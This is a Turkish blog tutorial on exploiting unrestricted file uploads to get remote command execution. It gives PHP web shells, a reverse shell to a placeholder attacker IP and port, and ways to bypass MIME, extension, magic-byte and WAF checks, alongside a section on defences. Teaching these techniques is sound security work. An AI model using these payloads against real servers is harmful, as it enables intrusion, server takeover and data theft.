Unrestricted File Upload to Remote Command Execution (RCE) Saldırısı
Web uygulamalarında "Unrestricted File Upload" (Sınırsız Dosya Yükleme) zafiyeti, saldırganların güvenli olmayan dosyalar yüklemesine ve sunucuda komut çalıştırmasına yol açabilir. Bu zafiyet, genellikle dosya yükleme işlevlerinin yetersiz doğrulama yapmasından kaynaklanır. Saldırgan, bu durumu kötüye kullanarak sistem üzerinde Remote Command Execution (RCE) gerçekleştirebilir.
1. Dosya Yükleme Zafiyeti Nasıl Tespit Edilir?
Web uygulamalarında kullanıcılar profil resmi, belge veya dosya yükleme gibi işlevleri kullanır. Eğer dosya türü, uzantısı veya içeriği yeterince kontrol edilmiyorsa, saldırganlar yürütülebilir dosyalar yükleyebilir.
Örnek PHP Kötü Amaçlı Dosyası:
<?php
echo "System Info: ";
echo shell_exec('whoami');
?>
Bu örnekte, sunucu üzerinde whoami
komutunu çalıştırarak sistem kullanıcı bilgilerini elde ediyoruz.
2. Saldırının Aşamaları
Bu tür bir zafiyeti kullanarak saldırganın neler yapabileceğini adım adım inceleyelim:
Adım 1: Dosya Yükleme
Saldırgan, .php
uzantılı bir dosyayı yükleyerek sunucuya zararlı kod gönderir. Yüklenen dosyanın yolu doğrudan tarayıcıdan erişilebilir olmalıdır (örneğin: http://example.com/uploads/malicious.php).
Adım 2: Komut Çalıştırma
Yüklenen dosya çalıştırıldığında saldırgan, sunucu üzerinde istediği komutları yürütür. Örneğin:
whoami
uname -a
ls -la /etc/
Bu komutlar, sistem bilgilerini ve kullanıcı yetkilerini toplamak için kullanılabilir.
3. Reverse Shell ile Tam Erişim
Saldırgan, sunucuyu ele geçirdikten sonra bir reverse shell açarak tam erişim elde edebilir. Aşağıdaki PHP kodu, saldırganın sistemine geri bağlantı kurar:
<?php
$sock = fsockopen("Saldirgan_IP_adresi", Saldirgan_Portu);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
4. Korunma Yöntemleri
Web uygulamalarını bu tür saldırılardan korumak için çeşitli yöntemler uygulanabilir:
Dosya Türü ve Uzantısı Kontrolü
Yüklenen dosyanın sadece belirli dosya türlerine (örneğin resim, PDF) izin verilmelidir. Ayrıca, dosya uzantısı sadece belirtilen güvenli uzantılarla sınırlanmalıdır.
MIME Tipi Doğrulaması
Yüklenen dosyanın MIME tipi kontrol edilmelidir. Ancak, saldırganlar bu kontrolü atlatabilir, bu yüzden ek doğrulamalar yapılmalıdır.
Dosya İsimlerini Rastgeleleştirme
Yüklenen dosyaların isimleri rastgele hale getirilmelidir. Bu şekilde saldırgan, dosyanın adını tahmin edemez ve dosyayı çalıştıramaz.
Yüklenen Dosyaların Erişilebilirliğini Sınırlama
Yüklenen dosyalar, sunucunun root dizininden uzakta bir yerde depolanmalı ve bu dosyalara direkt erişim kısıtlanmalıdır.
Web Application Firewall (WAF) Kullanımı
WAF, kötü niyetli dosya yüklemelerini tespit edip engelleyebilir. Uygun kurallar yazılarak yüklenen dosyalar üzerinde ek bir güvenlik katmanı oluşturulabilir.
Dosya Yükleme Koruma Mekanizmalarını Bypass Etme Yöntemleri
Pek çok web uygulaması, dosya yükleme işlemlerine karşı çeşitli güvenlik önlemleri alır. Ancak, bu önlemler saldırganlar tarafından atlatılabilir. Aşağıda, yaygın koruma mekanizmalarının nasıl atlatılabileceğine dair bazı yöntemler verilmiştir:
1. MIME Tipi Manipülasyonu
Yüklenen dosyanın MIME tipi kontrol ediliyorsa, bu tip manipüle edilebilir. Burp Suite kullanarak HTTP isteği üzerinde aşağıdaki değişikliği yapabilirsiniz:
Content-Type: image/jpeg
Ancak içerik olarak zararlı bir PHP kodu gönderilebilir:
<?php system($_GET['cmd']); ?>
2. Çift Uzantı Kullanımı
Dosya uzantısı kontrolü zayıf olan sistemlerde, dosya adı şu şekilde değiştirilebilir: malicious.php.jpg
. Sunucu bu dosyayı PHP
olarak çalıştırabilir.
3. Magic Bytes Manipülasyonu
Uygulama dosya içeriğini kontrol etmek için "magic bytes" kullanıyorsa, zararlı kod magic bytes ile gizlenebilir:
\xFF\xD8\xFF\xE0 // JPEG magic bytes
<?php system($_GET["cmd"]); ?>
4. PHP Wrapper'ları ile Bypass
PHP'nin sunduğu php://input
ve
data://
wrapper'ları kullanılarak dosya yüklemeden de kod çalıştırılabilir:
<?php include 'data://text/plain;base64,' . base64_encode('<?php system($_GET["cmd"]); ?>'); ?>
5. WAF ve Diğer Güvenlik Filtrelerini Atlatma
Web Application Firewall (WAF) ve diğer güvenlik filtreleri saldırıları algılayıp engelleyebilir. Bu durumlarda aşağıdaki yöntemlerle bypass yapılabilir:
Karakter Ekleme/Çıkarma
Komutları bölerek WAF’ı atlatabilirsiniz:
sy\ste\m('ls');
Base64 Kodlama
Komutları Base64 kodlayarak WAF'tan saklayabilirsiniz:
<?php system(base64_decode('bHMgLWxh')); ?>
Bu komut, Base64 kodlanmış ls -la
komutunu çözerek çalıştırır.
Sonuç
Unrestricted File Upload zafiyeti, saldırganlar tarafından Remote Command Execution (RCE) saldırılarına dönüştürülebilir. Koruma mekanizmaları her zaman yeterli değildir ve doğru tekniklerle atlatılabilir. Uygulamalar, dosya türü ve içeriği kontrollerini sıkılaştırmalı, dosya yürütmeyi engellemeli ve WAF gibi ekstra güvenlik katmanları kullanmalıdır.
Koruma mekanizmaları her zaman yeterli olmayabilir. Saldırganlar çeşitli yöntemlerle bu korumaları atlatabilir. Uygulama geliştiricilerinin, yükleme işlemlerine yönelik sıkı güvenlik önlemleri alması, dosya türü ve içeriği doğrulamasını yapması ve WAF gibi ekstra güvenlik katmanları kullanması gerekmektedir.
Yorumlar
Yorum Gönder